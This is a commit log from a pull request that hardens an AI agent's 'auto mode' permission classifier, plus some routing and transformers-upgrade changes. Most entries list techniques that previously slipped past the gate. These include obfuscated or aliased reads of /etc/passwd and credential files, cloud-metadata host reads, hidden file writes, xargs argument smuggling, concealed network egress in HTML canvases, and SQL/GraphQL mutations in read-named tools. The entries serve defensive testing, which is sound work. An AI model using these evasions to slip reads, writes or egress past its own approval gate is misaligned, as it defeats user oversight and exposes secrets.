- The /chat/completions pre-switch guard only looked at explicit
request fields, so a process --enable-tools policy that forces the
loop on (request omits enable_tools, no client tools) slipped past
it and only 400ed after _maybe_auto_switch_model had swapped the
model. It now mirrors the router's own loop-entry gate
(_effective_enable_tools or mcp, tool_choice="none" disabling it
unless explicitly asked) while still deferring to client-tool
passthrough, so the policy-forced case is caught before the switch.
- The ChatCompletionRequest full/off fold treated enabled_tools by
itself as a local-loop request and set confirm_tool_calls=True.
The router never starts the loop on enabled_tools alone (it only
filters which tools run), so a non-streaming passthrough carrying
client tools plus enabled_tools 400ed instead of routing verbatim.
The fold now keys off the same enable_tools / mcp_enabled signals.
- The Anthropic /v1/messages unsupported-mode rejection (ask/auto,
or an omitted mode selecting terminal/python) ran inside the
post-switch server-tools block, so an invalid request evicted the
resident model before the 400. It now runs before the auto-switch,
determined from the requested server tools, like the neighboring
malformed- and mixed-tool guards.
Adds regressions for each: a policy-forced non-streaming ask/auto
guard rejection that never reaches the switch, an enabled_tools-only
passthrough that keeps confirm unset, and an Anthropic rejection that
precedes _maybe_auto_switch_model.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 27 for PR #7079
Auto mode ("Approve for me") now asks for these host-mutating or
host-reading cases it previously ran unprompted (the sandbox does not
jail filesystem reads, and terminal commands can change host state):
- Destructured string literals fold into the scanned path now, so
base, leaf = ('/etc', 'passwd'); open(base + '/' + leaf).read()
resolves to /etc/passwd and asks, like the single-assignment form
already did. The tuple/list unpacking branch tracked only aliases to
open; it now also binds literal and folded-path elements.
- pathlib name rewrites fold to the rewritten path:
Path('/etc/x').with_name('passwd').read_text() (and with_stem /
with_suffix) spell no literal /etc/passwd but resolve to it, so they
are folded and caught. Benign in-sandbox rewrites stay safe.
- hostname NAME (or -F/--file, -b/--boot) sets the hostname, so a
positional or a set flag asks; bare hostname and the display flags
(-f/-i/-I/...) stay read-only.
- date -s/--set STRING and the bare MMDDhhmm... positional set the
system clock and now ask; the display forms stay read-only (+FORMAT,
-u/-R, and -d/-r/-f whose following value is skipped so date -d
tomorrow is not mistaken for a clock-setting positional).
Adds regression rows for each gap and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close more auto-mode classifier gaps from review round 28 for PR #7079
Auto mode ("Approve for me") now asks for these cases too:
- Mapping-style %-formatted paths. '/etc/%(f)s' % {'f': 'passwd'} folds
to /etc/passwd and asks; a dynamic value or a non-literal mapping
leaves the NUL marker so /etc/<dynamic> still fails closed. The path
folder previously handled only tuple/scalar % right-hand sides and
returned None for a dict, hiding the sensitive segment.
- A read-named MCP database tool carrying PostgreSQL COPY. COPY ... FROM
bulk-loads a table and COPY ... TO writes a server-side file, so both
are matched as mutating queries like DELETE/UPDATE already were. A
'copy' substring in a column name stays safe (word boundary).
- logging file handlers. logging.FileHandler('out.log', mode='w') (and
the default append mode, RotatingFileHandler/TimedRotatingFileHandler/
WatchedFileHandler, and the bare from-import form) create or truncate
a file like open(..., 'w'), so they are classified as writer calls.
StreamHandler / NullHandler and logging reads stay safe.
Adds regression rows for each gap and its safe counterpart.
* Fix writer aliases, GraphQL mutations, and auto server tools (review round 29)
- Auto-mode Python: an aliased writer or archive constructor is tracked
like the existing open alias, so from numpy import save; s = save;
s('out.npy', arr) (and z = ZipFile; z('a.zip', 'w'), incl. the
destructured forms) ask instead of running the write unprompted. A
benign builtin alias (x = len) stays safe.
- Auto-mode MCP: a read-named tool carrying a GraphQL mutation now asks.
query_graphql {"query": "mutation { deleteIssue(id: 1) }"} matches a
leading mutation keyword (GraphQL uses # comments, so it scans the raw
payload); GraphQL read queries stay safe.
- Anthropic /v1/messages: permission_mode "auto" no longer 400s a
safe-only server-tool selection. auto only needs a confirmation
channel for an unsafe call, so like the omitted default it runs for
web_search / RAG / render and rejects only when a gate-needing local
terminal/python tool is selected. ask still always rejects (it asks
per call, which this passthrough cannot honor). The rejection stays
ahead of the model auto-switch.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate asyncio spawn, net clients, default-captured open; allow safe-only auto (round 30)
Auto-mode Python now asks for more process/network/write vectors:
- asyncio process spawners (asyncio.create_subprocess_exec/shell and a
loop's subprocess_exec/shell) run an arbitrary program without the
terminal blocklist, so they gate like os.system/subprocess.
- stdlib network clients imaplib / poplib / nntplib / xmlrpc(.client) /
webbrowser open outbound connections the sandbox does not namespace
off, so their import asks like the other network modules.
- a callable captured as a function or lambda parameter default
(def f(o=open): o('out', 'w')) now binds that parameter into the same
alias set, so the later write through it is gated. A benign default
(o=len) stays safe.
Also, permission_mode "auto" no longer 400s a non-streaming local tool
request whose selection is always-safe-only (web_search / RAG / render).
auto only prompts for a classifier-flagged call, so a safe-only auto
request needs no stream, while ask, an explicit confirm_tool_calls=true,
MCP, and an unrestricted or unsafe selection still require it. Applied
via a shared _confirm_gate_needs_stream helper at the pre-switch, GGUF,
and safetensors confirm-stream guards; the loop's per-call confirm flag
is unchanged.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Catch brace-glob paths and attribute writer aliases; unfold auto (round 31)
- Terminal auto mode now runs the glob-sensitive scan over every
expansion candidate, so a brace-expanded glob (cat /e{t,}c/pass?d,
which bash expands to /etc/pass?d and then globs to /etc/passwd) asks.
Brace expansion alone spells no literal /etc/passwd and the glob only
resolves once the brace group is expanded, so scanning both together
is required. A benign brace + glob stays safe.
- Python auto mode now tracks a mutating attribute captured as a plain
name: s = np.save; s('out.npy', arr) binds a writer alias, a captured
.open bound method (p = Path('out').open; p('w')) fails closed on any
call since its mode position varies, and z = zipfile.ZipFile is gated
like the bare import. A benign attribute alias (x = np.mean) stays safe.
- permission_mode "auto" is no longer folded to confirm_tool_calls=true
on the request model. Folding it defeated the safe-only-selection
exception in _confirm_gate_needs_stream (an explicit confirm forces
stream=true), so a non-streaming safe-only auto request was rejected.
Leaving it unset lets the route apply the exception; the mode still
drives the loop's per-call gate. "ask" still folds (it gates every
call).
Adds regression rows/cases for each.
* Harden SQL/GraphQL/writer classification and passthrough guards (round 32)
MCP argument mutation detection (read-named query tools):
- CREATE DDL now matches modifiers and the broader object set, so
CREATE OR REPLACE VIEW, CREATE UNIQUE INDEX, CREATE TEMP TABLE,
CREATE MATERIALIZED VIEW and CREATE FUNCTION ask.
- Stored-procedure invocation (CALL proc(...), EXEC/EXECUTE) and VACUUM
ask; a natural-language "call me back" stays safe via the trailing
"(" / ";" / end lookahead.
- GraphQL # comments are stripped before the mutation match, so
mutation # note\n { deleteIssue(id: 1) } no longer hides the mutation.
Python auto-mode classification:
- numpy.memmap / open_memmap and pandas ExcelWriter / HDFStore create or
truncate a file on construction, so they gate like open(..., "w").
- asyncio networking (asyncio.open_connection, loop.create_connection /
create_server and unix variants) opens outbound connections/listeners
the sandbox does not isolate, so it gates like socket.connect.
Terminal auto-mode: file -C / --compile writes a compiled magic database.
Routing:
- A JSON-schema response_format is guided-decoding passthrough, not a
local tool loop, so a --enable-tools policy no longer 400s a
non-streaming ask/auto structured-output request at the confirm guard.
- An explicit confirm_tool_calls=False opts out of the Anthropic Messages
server-tool gate entirely (it wins over the mode, mirroring
_permission_mode_confirm and the GGUF path), so it runs even under ask.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Track path-ctor aliases, exempt empty selection and safe safetensors card (round 33)
- Python auto mode now propagates path constructor / join aliases, so
assigning Path or os.path.join to another local name is still folded:
P = Path; (P('/etc') / 'passwd').read_text() and j = os.path.join;
open(j('/etc', 'passwd')) ask, while a benign /tmp alias stays safe.
- _confirm_gate_needs_stream now distinguishes an omitted enabled_tools
(None, all tools) from an explicit empty list ([], no tools). An empty
selection runs no built-in tool and cannot prompt, so a non-streaming
auto request with enable_tools=true, enabled_tools=[] is no longer
400ed under a --enable-tools policy.
- The safetensors provisional render_html card now uses permission_mode:
render_html is always safe and never prompts, so its early canvas card
streams under auto (which ships confirm_tool_calls=true) instead of
being suppressed, matching the GGUF path's is_always_safe_tool exemption.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Extend auto-mode classifier: SQLite mutations, more net/xattr/compressed writers
Additional fail-closed gaps found by a fresh adversarial pass, each with a
reproduction and a benign control:
- MCP read-named tools now ask on SQLite-flavored writes the base DML/DDL regex
missed: ATTACH / DETACH DATABASE, a write-form PRAGMA (PRAGMA journal_mode=WAL
/ user_version=42 / foreign_keys(0), while the read-form PRAGMA journal_mode
stays safe), and load_extension() which loads and runs an arbitrary shared
library.
- Python auto mode now gates the remaining asyncio network entry points
(start_server, open_unix_connection, loop.create_datagram_endpoint,
sock_connect), os.setxattr / os.removexattr metadata writes, the gzip / bz2 /
lzma single-stream writers (GzipFile / BZ2File / LZMAFile, mode-gated like
ZipFile so a read stays safe), pandas to_xml, and the websockets client.
Benign controls (SELECT 1, read-form PRAGMA, asyncio.sleep, gzip read, numpy
read, natural-language "attach"/"analyze") stay safe. Regression rows added to
test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close follow-up auto-mode gaps: SQLite/GraphQL variants, more writers and net
A fresh adversarial pass on the previous round found consistent extensions of
the same fail-closed rules, each reproduced with a benign control:
- MCP read-named tools: DROP / ALTER now cover the same broad object set as
CREATE (DROP FUNCTION, ALTER INDEX, DROP MATERIALIZED VIEW); ATTACH is caught
without the optional DATABASE keyword via its quoted-path form; a
schema-qualified write PRAGMA (PRAGMA main.user_version=1) is matched; and a
GraphQL mutation carrying directives (mutation M @audit { ... }) is treated as
a mutation.
- Python auto mode: os.startfile (Windows program launch), asyncio
start_unix_server, and the socketserver framework now ask; a gzip/bz2/lzma
open imported under an alias (from gzip import open as gopen) is gated like
builtin open; and a dynamic path prefix that can form a sensitive absolute
root (open(chr(47) + "etc/passwd"), open(os.sep + "etc/passwd")) is treated as
sensitive, while a dynamic prefix with a benign suffix stays safe.
Benign controls (read-form PRAGMA, natural-language "attach ... as", "drop the
idea", SELECT dropped_at, query @cached, gzip read alias, dynamic prefix +
data/file suffix) stay safe. Regression rows added to test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate GNU time -o, basicConfig/methodcaller/fileinput, and more SQL mutations
Another adversarial pass surfaced further consistent fail-closed gaps, each
reproduced with a benign control:
- Terminal: GNU time -o/--output/-a/--append truncate or append to a file with
timing output; time is a wrapper, so the flag is checked before the wrapped
command like env -C.
- Python auto mode: logging.basicConfig(filename=...) opens a log file for
write; operator.methodcaller("write_text"/...) hides a writer method behind a
string and is now treated as dynamic dispatch (like getattr/partial);
fileinput.input(..., inplace=True) rewrites a file in place (the default read
form stays safe).
- MCP read-named tools: UPDATE now matches quoted, bracketed, and
schema-qualified targets (UPDATE "users" / public.users / ONLY public.users /
[users] / `users` SET); SELECT ... INTO OUTFILE/DUMPFILE writes a server file;
and state-changing SQL functions inside a SELECT (pg_terminate_backend,
setval, pg_write_file, lo_export, ...) ask.
Benign controls (time ls / time -p, basicConfig(level=), methodcaller("upper"),
fileinput read, NL "update ... set", setval_col column, PL/pgSQL SELECT INTO
var) stay safe. Regression rows added to test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten auto-mode classifier comments
Collapse the multi-line rationale blocks in the permission classifier to one or
two lines each without dropping the exploit each branch closes. Comments and
whitespace only (no code change); the classifier tests are unchanged and pass.
* Retry transient SSE stalls in the tool-calling smoke probes
The tool-calling job flaked with a bare "TimeoutError: timed out": the
server-side python/bash probes stream over post_sse(), which (unlike
post()) had no transport-level retry, so a single stalled stream on a
shared CI runner hard-failed the whole step even though function calling
had already passed.
post_sse() now mirrors post(): a transport-level stall (stream open or a
mid-stream read timing out) is retried once with a fresh request capped
at 300s, while HTTP status errors still surface immediately. The
Linux _run_tool_probe caps each attempt at 360s and treats a stall that
outlives the retry as a failed attempt (rotate to the next seed) instead
of raising, and the web_search probe uses the same 360s cap. A genuine
server wedge still fails (the retry also times out), so real regressions
are not masked. Applied to the Linux, macOS, and Windows inference-smoke
workflows, which share the probe.
* Close five more auto-mode classifier gaps from review
Each reproduces with a benign control:
- Path constructor aliased through an attribute (P = pathlib.Path) now folds
like the bare-name alias, so (P('/etc') / 'passwd').read_text() asks while a
/tmp alias stays safe.
- Callable defaults that are not plain names now bind the parameter: an
attribute writer (def f(s=np.save)), an archive constructor, a captured .open,
and partial(open, mode='w') fold like the equivalent assignment; a benign
default (np.mean) does not.
- A dynamic piece inside a sensitive name (open('/et' + chr(99) + '/passwd'),
which folds to '/et\x00/passwd') now asks: the literals around each dynamic
segment are matched against a credential target with the segment as any run of
non-separator chars, so an all-dynamic ('1 + 1') or segment-spanning
(a + '/' + b) path stays safe.
- MCP read-named tools now ask on REFRESH MATERIALIZED VIEW and REINDEX; a
'refresh' column or natural-language 'refresh' stays safe.
- A writer/open alias handed to a higher-order invoker (map(open, names, modes),
starmap(np.save, ...)) is gated even without a direct call site; a benign
map(len, ...) is unaffected.
Regression rows added to test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Default tool pills off on model load so tool execution is opt-in
resolveToolsEnabledOnLoad turned the web-search and code pills on for
any tool-capable model when the user had expressed no preference. Default
them off instead, so tool execution is enabled only when the person
clicks the pill to turn it on; a saved preference (on or off) is still
honoured, so a user who already enabled tools keeps them on.
* Gate mark/subscribe MCP verbs and qualified higher-order writer invokers
- A read-prefixed MCP tool name carrying mark / subscribe / unsubscribe
(get_and_mark_read, get_and_subscribe) now asks; a 'mark' substring inside
one token (list_bookmarks) stays safe.
- The higher-order writer check now also fires for a qualified invoker
(itertools.starmap(open, ...), functools.reduce(open, ...)), matching the
bare-name map/filter form; the writer-check on the first arg keeps a benign
itertools.starmap(len, ...) or itertools.chain(...) safe.
Regression rows added to test_permission_mode.py.
* Close more auto-mode gaps and align the ask confirm fold across paths
Each classifier change reproduces with a benign control:
- MCP read-named tools now ask on reply / notify verbs (get_and_reply_email,
list_and_notify_users), on catalog writes COMMENT ON / SECURITY LABEL / LOCK
TABLE and CREATE|DROP|ALTER POLICY, and on state-changing PostgreSQL functions
inside a read-shaped SELECT (nextval, set_config, pg_notify, the advisory-lock
family). A 'comment' column, a 'locks' table, and a 'nextval' column prefix
stay safe; the natural-language NOTIFY/SET ROLE statement forms are left out
because SET/NOTIFY overlap ordinary prose.
- Python auto mode now gates loader.exec_module (runs a module's code), archive
extractall (zip-slip file writes), the ensurepip / venv modules (install pip /
build an environment), and pydoc.writedoc. The Hugging Face login token
(~/.cache/huggingface/token and stored_tokens) is now a sensitive path, while
the rest of that cache (model data) stays readable.
- ChatCompletionRequest no longer overwrites an explicit confirm_tool_calls=false
when permission_mode='ask': the fold only self-enables the gate when the flag
is unset, so an explicit opt-out wins on the chat path exactly as it already
does via _permission_mode_confirm and the Anthropic pre-switch guard.
Regression rows added to test_permission_mode.py.
* Gate sort -T, xxd outfile positional, and the legacy HF token path
- sort -T / --temporary-directory writes spill files to a caller-chosen dir,
so it joins -o / --output in sort's unsafe-flag set.
- xxd [infile [outfile]] writes its second positional, like uniq; xxd now uses
the same second-positional-write handling (xxd in.bin out.hex asks, xxd
in.bin and xxd -c 16 in.bin stay read-only).
- The sensitive-path regex now also covers the legacy ~/.huggingface/token
location (optional leading dot), not just ~/.cache/huggingface/token; an
unrelated dir like myhuggingface/token stays safe.
Regression rows added to test_permission_mode.py.
* Catch multi-char SQL mutation targets, globbed credential names, digit outfiles
Three fail-open gaps in the auto-mode classifier, each with a benign control:
- SQL: the trailing word boundary on the MCP mutation regex meant a bare \w
stopped at the first character, so TRUNCATE users, GRANT SELECT ON t, and
REVOKE ALL ON t (multi-character names) slipped through while single-letter
targets matched. Match the whole identifier instead, and accept an explicit
AS alias on UPDATE (UPDATE users AS u SET). The implicit-alias form is left
out because it is indistinguishable from the prose "update <noun> <noun> set".
A truncate_log column and a grants table stay safe.
- A glob that resolves to a credential basename anywhere (cat ~/.huggingface/tok?n
-> token, cat proj/.netr? -> .netrc, cat repo/.aws/cred*) now asks; the fixed
target list only covered a handful of home paths. notes/dra?t.txt and
token_counts.tx? stay safe.
- uniq / xxd counted file positionals but skipped every numeric token to ignore
a flag value, so a file literally named with digits (uniq 123 out) hid the
output positional. Track each command's value-taking flags and consume only
the value, so uniq -f 2 in stays safe while uniq 123 out asks.
Regression rows added to test_permission_mode.py.
* Isolate the permission-mode loop tests from process-global state
The loop-driving tests (auto/off/full/bypass) drove run_safetensors_tool_loop
against a process-global approval registry (state.tool_approvals._pending)
keyed by a single shared session id, and read os.environ. Other backend test
modules mutate both, some at import time, so in the full-suite ordering a stale
pending approval or a leaked env var could make the loop deny or skip a call
these tests expect to run. It passed when the file ran alone but failed only in
the complete tests/ run on CI.
Add an autouse fixture that snapshots and restores os.environ and the approval
registry around each test, and give every _drive call a unique session id so a
leaked approval can never collide. Attach a compact event-stream dump to the
loop assertions so any residual full-suite-only failure reports what the loop
actually did instead of a bare diff.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden auto-mode classifier for recursive listers, sort file lists, aliased invokers, single-member extract
Close four fail-open gaps in is_potentially_unsafe_tool_call:
- terminal: tree/du (always recursive) and ls -R rooted at an absolute or
tilde path now ask, matching the existing grep/rg/find recursive-read gate;
relative walks stay safe.
- terminal: sort --files0-from=F reads the file list named in F, so it can
read arbitrary host files indirectly; added to sort's unsafe flags.
- python: track aliases of the higher-order invokers (m = map;
from itertools import starmap as sm) so an aliased invoker handed open/a
writer is still gated; a benign callable (map(len, ...)) stays safe.
- python: single-member archive extract (ZipFile/TarFile.extract) writes to
disk like extractall and is vulnerable to a crafted member path, so gate it.
Also update the stale _FakeExecuteTool in test_permission_mode.py to accept
the thread_id keyword that run_safetensors_tool_loop now forwards to
execute_tool after the main merge, which had broken the five tool-loop tests.
Adds regression rows covering each gap plus benign controls.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: normalize unknown permission_mode to 'ask' instead of a 422
The request models validated permission_mode with Literal[ask, auto, off,
full], so an unrecognized value from a newer UI/client was rejected with a 422
before the tool loops could apply their unknown -> ask fallback
(safetensors_agentic.py:464, llama_cpp.py:9001). That made the intended
forward-compat degradation unreachable at the API boundary for both Chat
Completions and the analogous Anthropic field.
Accept a plain string on both ChatCompletionRequest and AnthropicMessagesRequest
and normalize in a before-validator: None stays unset, the four known modes pass
through, and any other value degrades to the safest gate ('ask'), matching the
loops. Adds a regression test covering unknown/None/known across both models.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: close five more auto-mode classifier gaps
- terminal: xargs is no longer a safe wrapper. It appends arguments read from
stdin that the scan never sees, so `echo -o out /etc/passwd | xargs sort`
forwards to `sort -o out /etc/passwd` (a write + sensitive read) while only
the allow-listed literals are visible. Any xargs command now asks.
- terminal: ionice -p/-P/-u change the I/O priority of an already running
process / group / user instead of forwarding to a wrapped read-only command,
so `ionice -c 3 -p <pid>` now asks. ionice -c 3 <cmd> stays safe.
- MCP: gate ALTER SYSTEM, which persists PostgreSQL server configuration and was
not one of the DDL objects the mutation detector matched.
- MCP: a credential noun in a read-named tool (read_secret, list_tokens,
get_credentials, fetch_api_key) is a sensitive disclosure, so it asks even
without a mutating verb or a path/SQL argument. Scoped *_key nouns keep a
primary_key / keyboard lookup safe.
- render_html: no longer unconditionally safe. A static canvas still auto-runs,
but one whose HTML/JS reaches the network (fetch/WebSocket/remote script) asks,
since it can egress under the canvas CSP when artifact network access is on.
Its early provisional card is suppressed under the auto confirm gate, and the
confirm-without-stream guard now requires a stream when render_html is
selectable.
Adds regression rows and benign controls for each, and updates the render_html
provisional-card and confirm-gate tests to the new behavior.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: extend auto-mode gates for indirect file lists, dynamic lookups, HTML network loads, and Anthropic render_html
Follow-ups on the previous classifier round:
- terminal: wc/du/find --files0-from (and find's -files0-from primary) read a
NUL-separated list of input paths from a file, the same indirect mechanism as
sort --files0-from, so a crafted list reads arbitrary host files past the
literal path/root checks. Gate them like sort.
- python: a namespace lookup through a dict-style call (f =
__builtins__.__dict__.get('open'), globals().get('open'), vars(x).get(...))
can return open/eval/a mutator, so poison the bound name like getattr/subscript
lookups already are. An ordinary dict .get or os.environ.get stays safe.
- render_html: broaden the network detector so a canvas that loads a resource
via CSS url()/@import, srcset, or a root-relative (/path) or protocol-relative
(//host) src/href is treated as networked, not just fetch/WebSocket/remote
script. Relative ./x and url(#id)/data: refs stay static/safe.
- Anthropic /v1/messages: drop render_html from the unprompted-safe server-tool
set. Since it can prompt (networked canvas) and this channel invokes the loop
without confirm, selecting it under ask/auto/omitted now rejects like
terminal/python; off/full (or an explicit confirm opt-out) run it.
Adds regression rows and benign controls for each, plus an Anthropic route test.
* Studio: close six more auto-mode classifier gaps
- terminal: a glob that expands to a project .env (cat .e?v) now asks; .env
joins the sensitive glob-basename set, matching the literal-path gate.
- python: an open bound onto an attribute (box.f = open; box.f('out','w'))
is tracked by attribute name, and open invoked via .__call__
(open.__call__('out','w'), unwrapped to the underlying callable) is gated,
so neither slips past the name-based open-alias checks. Benign attribute
callables and .__call__ on non-writers stay safe.
- python: a namespace lookup via .get/.pop/.setdefault already covered the
builtins case; unchanged here.
- MCP: a mutating HTTP verb in a method/verb argument (get_url
{"method": "DELETE"|"POST"|"PUT"|"PATCH"}) now asks, so a generic HTTP
tool cannot mutate an external service unprompted; GET/HEAD stay safe.
- MCP: a credential/secret environment-variable value (get_env
{"name": "OPENAI_API_KEY"}) is treated as a sensitive read via the same
credential-noun match used for tool names; PATH/HOME stay safe.
- render_html: self-navigation sinks (location.assign/replace, window.open,
assigning a URL to (window.)location(.href)) join the network detector, so a
canvas that navigates itself to an external URL asks; location.reload() /
history.back() stay static.
Adds regression rows and benign controls for each.
* Studio: gate obfuscated canvas egress, sensitive-dir iteration, and MCP metadata-host reads
- render_html: strip block comments before the network scan so fetch/*x*/(...)
cannot hide egress, and match bracket-access forms (window['fetch'](...),
self['open'](...)). Line // comments are left alone so the // in an https URL
is not eaten. A comment-only canvas stays static.
- python: enumerating a directory outside the sandbox (Path('/etc').iterdir(),
os.scandir('/etc'), os.listdir('/home'), os.walk('/')) reads host filenames
the direct /etc/passwd checks would prompt for, so gate it when the target dir
folds to an absolute/tilde/sensitive path; a relative dir stays safe and an
unresolved dynamic dir is left to other checks.
- MCP: a read-named HTTP tool pointed at a cloud-metadata / link-local host
(fetch_url {"url": "http://169.254.169.254/..."}, metadata.google.internal)
reads instance credentials, so classify those URL arguments as sensitive,
mirroring the sandbox SSRF blocklist; ordinary and localhost URLs stay safe.
Adds regression rows and benign controls for each.
* Studio: gate meta-refresh navigation, pandas HTML/markdown exporters, absolute glob roots, and checksum verify mode
* Studio: gate starred open writes, builtins.__import__, computed render_html sinks, and procfs fd reads in auto mode
* Studio: gate remote worker canvases, huggingface_hub downloads, and write callables passed to user helpers in auto mode
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: offer the latest transformers release for brand-new architectures
When a model's config.json model_type is absent from every installed
transformers overlay (base 4.57.x and the .venv_t5_530/550/510 sidecars),
Studio now checks, unauthenticated and cached, whether the newest
transformers ships it:
- utils/transformers_latest.py fetches the latest release version from
https://pypi.org/pypi/transformers/json and the CONFIG_MAPPING_NAMES
sources for that tag and for main from raw.githubusercontent.com
(never api.github.com), parsing them with the same AST extractor the
static router uses (no code execution, no trust_remote_code). Results
are cached in memory and in a JSON snapshot under studio_root()/cache
with a one day ttl; fetches are bounded to 5s with one retry and a
failure backoff, and offline mode or the new kill switch
UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS=1 short-circuits to None.
- POST /api/inference/validate gains requires_transformers_upgrade plus
a transformers_upgrade payload (model_type, pypi_version,
supported_in_pypi, supported_in_main) so the frontend can raise the
install consent dialog before /load, mirroring the existing
remote-code consent flow. The check fires only when the model_type is
unknown to all installed overlays and the hardcoded tier tables.
- POST /api/inference/install-latest-transformers provisions a new
persistent .venv_t5_latest sidecar after user consent, pinned to the
exact PyPI version (re-verified server-side) with the same
--target/--no-deps recipe as the fixed sidecars. A JSON pin marker
inside the dir records the installed package set, so restarts
revalidate it and routing resolves the new highest-ranked tier
automatically. A dependency preflight (compat_plan) compares the
release's requires_dist against the running env: unsatisfied
tokenizers/safetensors floors are shadow-installed as exact pins into
the sidecar, anything else unsatisfied blocks the install with a
clear message.
Routing for every already-supported model_type is unchanged: the
hardcoded lists and the 530/550/510 static resolver run first, the new
tier only participates once its venv exists, and the probe order gains
the latest sidecar only when provisioned. Verified against live PyPI
and GitHub (transformers 5.13.0: 674 model_types, 26 absent from all
installed overlays, e.g. cosmos3_omni; 4 dev-only on main) and with a
real sidecar install plus restart persistence. 64 new tests; the
existing 200-test transformers_version suite passes unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Latest-transformers check: fetch outside the lock, serialize installs
Release the module lock during the network refresh so a slow fetch cannot
stall other threads in the ASGI pool; concurrent callers during a fetch get
None (the graceful fallthrough) via an in-flight flag instead of stacking
fetches. Serialize install_latest_transformers with an in-progress flag so
concurrent consents cannot race the sidecar delete and recreate; the loser
gets a structured already-in-progress refusal.
* Latest-transformers check: LoRA bases, pin-gated mapping, live reverify
Run the upgrade check over the [adapter, base] target set so a LoRA whose
base model is a brand-new architecture surfaces the prompt (the worker
activates transformers for the base, not the adapter).
Gate the latest overlay's mapping lookup on a valid pin marker, matching
activation and the probe order, so a partial or manual .venv_t5_latest dir
cannot be routed to and then refused at activation.
Re-verify the requested version against a live PyPI snapshot at install
time, falling back to the cached one on fetch failure, so a release
published inside the cache TTL is not silently missed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Latest-transformers check: nested config types and latest-tier vision probe
Collect every model_type in the config (top level plus each nested
sub-config) and signal on the first one missing from all installed
overlays, so a supported wrapper carrying a brand-new backbone still
surfaces the upgrade prompt; wrappers instantiate sub-configs through
CONFIG_MAPPING and would fail on the nested type.
Route the vision capability subprocess through the pinned latest sidecar
when the model resolves to the latest tier, so latest-only VLMs are not
misclassified as text-only; every other tier keeps the 5.5 sidecar used
today.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Latest tier: nested routing, vision probe after raw miss, safe upgrades
Route by every model_type in the config: a nested sub-config type can raise
the tier (wrappers instantiate sub-configs through CONFIG_MAPPING), so a
supported wrapper with a latest-only backbone routes to latest once
installed instead of staying on default. An unknown nested type never
vetoes; the primary type keeps its previous semantics. The collector is
shared with the upgrade checker.
Vision detection: when the raw heuristics say False for a model that routes
to the latest tier, run the AutoConfig subprocess under the pinned latest
sidecar instead of trusting heuristics built from older transformers.
Provisioning: stage-and-swap. Build the new sidecar in .venv_t5_latest.staging
and swap it in only when the install and pin marker are complete, so a failed
upgrade never destroys a previously working sidecar; restore the old dir if
the final swap fails.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Latest-transformers checker, vision subprocess, and cache fixes
Require the latest release to support every missing model_type (the
primary included) before prompting; a nested-only match cannot make the
model loadable, so no install is offered for it.
The vision-check subprocess now unions the active sidecar's own
registry mappings into the inlined parent-process detection sets, so
architectures only the sidecar knows classify correctly.
A successful sidecar install clears the tier probe cache, the latest
tier's model_type mapping, and the vision-detection cache so the new
venv takes effect without a restart. Tests for all three.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Aggregate upgrade support flags and keep install off /v1
The upgrade signal now reports supported_in_pypi only when the latest
release covers every missing model_type; a mix with a main-only nested
type surfaces as dev-only so no PyPI install is offered that would
still fail at load. The consented install endpoint moves to
studio_router so it is not reachable through the OpenAI-compatible /v1
mount. Tests for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor the latest-transformers kill switch in routing
With UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS set after the sidecar was
provisioned, the latest tier still joined mapping and probe routing
because only the pin was checked. Both admission points now also check
the kill switch, so operators can roll back a problematic sidecar
without deleting files.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Repair the latest sidecar through stage-and-swap
The lazy repair path installed into the live .venv_t5_latest, which
_ensure_venv_dir wipes first, so a failed repair deleted the pinned
sidecar and its marker. Both the consented install and the repair now
share one stage-and-swap helper: the incomplete-but-pinned dir survives
any failure and a later attempt can still repair it.
* Tighten comments
* Remove the staging dir when a latest-sidecar install fails
A pip failure inside _ensure_venv_dir returns False without raising, so
the except cleanup never ran and the partial .venv_t5_latest.staging
leaked until a later attempt. Also note on the validate response fields
that frontend consumption ships in the follow-up PR.
* Add the transformers-upgrade consent dialog to the frontend
When /validate reports requires_transformers_upgrade, every explicit load
path (chat runtime and the compare composer) now pauses on a consent
dialog modeled on the remote-code one: it names the model_type and the
latest PyPI transformers version, and on Accept calls
/api/inference/install-latest-transformers itself, shows an installing
